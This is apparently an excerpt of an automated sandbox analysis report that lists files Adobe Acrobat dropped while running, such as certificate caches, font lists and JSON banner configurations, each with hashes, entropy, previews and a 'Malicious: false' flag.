C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7658974048632343
Encrypted:	false
SSDEEP:	48:7MNJioyVZioyBoy1C7oy16oy1jKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1On:7yJuZ/6XjBiYb9IVXEBodRBk1
MD5:	66DF6DB0649CCEEE7D0B99631D41FF23
SHA1:	9C2B8577FBC38A9C8D321F8A213EDAB2971B35B2
SHA-256:	E6F7C2D2ECB7308D8EA6B0C16A1A446EE0C27E8383FBEAB14C5DA4B71739C833
SHA-512:	CD61DBC8B3F84B8013D055E7C0D1CF56D0B37AB17E8D8464D54EE65EBAE446900990D3386235BA614C3A2A6C2703413D8B9CF33DDB8250C4C857CA429FA5BDB4
Malicious:	false
Preview:	.... .c.....R..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.764745823915414
Encrypted:	false
SSDEEP:	3:kkFkleWLlltfllXlE/HT8kt7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKHWDeT8G7VNMa8RdWBwRd
MD5:	8BC1E0C67D92CE651BBB10962F3C2346
SHA1:	57632DC85279F2FA57C4305CFF1E04742621DC75
SHA-256:	B14D2B7019BA69EACF151044269DC642D459C384AA7E11CE37E2A7A7BEB02D07
SHA-512:	298A574B99F95F7F847056A9C3E8D8ED944468F116FABAF9603E654B6AE845B95B3CFCAB8018155AED9EB940FC1DF03C4E7503EC24E57917F6714302C2E1E350
Malicious:	false
Preview:	p...... ........m.,.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKj7ptL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:rHiDImsLNkPlE99SNxAhUe/3
MD5:	B42800BB946A5E1E0C41C3AD30A80429
SHA1:	4EF9015A5B1341035FD74123633E90F5E18D2048
SHA-256:	F19FBADC7D5DB1DD7EF0CFBB9BFCD97DA244AC1376A2AA34D272A5BD32213CBC
SHA-512:	140D88BA47AD6447032C445709E7FBDF1F996CB75EFB34FACF1B011F98AD53974A7160D8953DF5DBE22334733161C21B5C44B1A9DA1F1291202A2725470CFEDC
Malicious:	false
Preview:	p...... ........*#..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1016

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1016

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346180794346485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJM3g98kUwPeUkwRe9:YvXKXKGoRIgYkcnGMbLUkee9
MD5:	6A33E35607B5AC2F5705F64B680FBDFA
SHA1:	771F7B663D1195787F1DCB14CD5D316AA96A9B59
SHA-256:	6D5A80D90B4B5D87DB8D7B07650184EF52585EE88D43B9181306D103F22A0F07
SHA-512:	06CBF2A581E4D272A1AB8B06D1A2C665331CFA0E3B13163BBDEAB5DD9669448F8A406DDB80EB2F6EDF5CD1C90E710C2626473E041D0C5AEDA77BDA35314D6740
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298463191555558
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJfBoTfXpnrPeUkwRe9:YvXKXKGoRIgYkcnGWTfXcUkee9
MD5:	46429DED6139EBC94CD5624F7DC2BC09
SHA1:	5C2E978D3E3EE9A060E37C1915F0C7D6B20DDDCC
SHA-256:	A6B1DCD7DB67AA606C492369F357C5DD02E489B8E828F4797AEB31AB838A17A9
SHA-512:	614B0EF1606ABC15DFFA9D434AD700A5EA917081392087BC4867FA28B4B6EC3F552BF1CC2E4AFE93C4EE66163852DD654D252A53075D12CF10F95156DDDD269F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2774582269506345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJfBD2G6UpnrPeUkwRe9:YvXKXKGoRIgYkcnGR22cUkee9
MD5:	6ACEB2345408D5779600DD26EAEA23A9
SHA1:	A39759480AC47A4AF2D41791C56FF848BF1E92E5
SHA-256:	DCA67DFC3D32D8AE297C0B782D08A2392574C81B4C465F5FD155B904FDBD5244
SHA-512:	6D75BC71959679E1EE66D2683E30D450400E27E193D923086428777FBB389680AACC7FA4A27C728B2E65786A07DD684DAA191248FE9B09A0F315D56C708E6DD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.325600472046537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJfPmwrPeUkwRe9:YvXKXKGoRIgYkcnGH56Ukee9
MD5:	344033DA81ADC2DCB369A9CF51853B74
SHA1:	B25D2ACEEFEEB541A68324BEDA0B5DB8DEE09343
SHA-256:	94D99BFFF7122D91A3D963E38DB0961296A7EEFBDBAE966A8B17659F22D2ECB8
SHA-512:	A31B3BE3DB290E540EFF87ED02BAA14ED5802ACFD371B8ADA72D7248BCBAD6B23DED5533C45BDC314620230E0950DE6743877BB20486AC91E4CBF92AAE64C58E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681469085168346
Encrypted:	false
SSDEEP:	24:Yv6XDHspLgE9cQx8LennAvzBvkn0RCmK8czOCCSUr:YvVhgy6SAFv5Ah8cv/I
MD5:	98C7261CCEE2AF6F43E6A37F917B130B
SHA1:	07702DD55767328A9AA921B95F6BECC03049C2D4
SHA-256:	2EF0F883537E0DA95EE305C42C4BA5B6AB7C0D91706A009150F46A71281B5F0C
SHA-512:	EFD53258618BE38C65CF55715049CFC027C339190F8B292C9546BDF8EAC1BE7C51A0DFEA9BCF327EDB44B2E365CEA734B61A2F1DD5A0F8A807196A6B0498BBAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273626208718835
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJf8dPeUkwRe9:YvXKXKGoRIgYkcnGU8Ukee9
MD5:	0CB0B8C01530ECE304811B2D62008FF1
SHA1:	AA33237A3DAE01936716DA39CB58F15B6AEEB0FC
SHA-256:	CC597589E49185CE5378CE877DEF9406DC9CABC9A347EB3A6C7808C2A10797A0
SHA-512:	CC572230AEBCBC3D98DFE462864C5D9623DA808B74C2EC4A096BA28862FAFF2BC12F8B5BBDB3FE7D0CC20B04A90F4D194DA904EE609737DB2E190ED3EAE858A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.277375009542851
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJfQ1rPeUkwRe9:YvXKXKGoRIgYkcnGY16Ukee9
MD5:	0B39DC9035796DD270CC6CDB5ACA89F5
SHA1:	C2EB8EC249CAA9705A6C886F9C3E2C5324DD159C
SHA-256:	F7815F8B3EC0D2D68E3288A5ABAB567F0D08F6ED8FC49F6DAE8BB8155DDD5D4A
SHA-512:	72E6F625047B81CF9E1FBC50BB49E76766A73ACC8B94FF85893521040DD5AFC41C1204CA45628E16E639189E8AD98CEB1A22E2CF34F10631D042C7B9A3BA554F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283610709627637
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJfFldPeUkwRe9:YvXKXKGoRIgYkcnGz8Ukee9
MD5:	5DFE1D6B2D4EE699ED20D9592C08311D
SHA1:	CDF598F00DA130ECDFF5CF773929E98E9EB38E97
SHA-256:	48800244CD1A859A37CF005166B28F00F643E1CB1525E130277058B9D62D577A
SHA-512:	526B8C3DB45295D645959947F2930EB1AF5CC7F34E7EDA94BB8F27287DC426549E8ECE8731A0294681EE0481D406717308FC74FFDB6F939E2723D78EF10E2C45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.299575350407996
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJfzdPeUkwRe9:YvXKXKGoRIgYkcnGb8Ukee9
MD5:	7A24045E4887D2549645418E05FA53A2
SHA1:	3EE46F639EBAEAE900CFAE4BA126AB42A1126CD2
SHA-256:	3C8FAEDE914FCBEAA91040E691EEFD0BD51A6A0F042756C5454E0252A5BA5223
SHA-512:	7A487C740199A1F112C333DB4213A21B74D4EB7B2EE91A7133F645926A148E000309AF863E96B1DB7899D9003E2591E14690A2B406BC000F0D54DF10556CE9CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"437aec5a-bb89-4d95-bf33-d5423aaa189e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707995512,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280598306444096
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDWGoRIgYXUnZiQ0YZFoAvJfYdPeUkwRe9:YvXKXKGoRIgYkcnGg8Ukee9
MD5:	C0892457FE80A56306FB98A213650280
SHA1:	3DAC4B03B442408F1E02D2A61858BA3AA6FE1622
SHA-256:	5EEE5D20BB6E83A49C62F9870D076C632A28329415DE1CB368907F0FB661EF40
SHA-512:	F078F4C67DF467D1EE31F042C7217825275838BD239A6E715D5240EA75C22AE6831C215910A2E7DD818D8863346E877BFF44F9406AF60537D4C29EEC5DA5A4BF
Malicious:	false
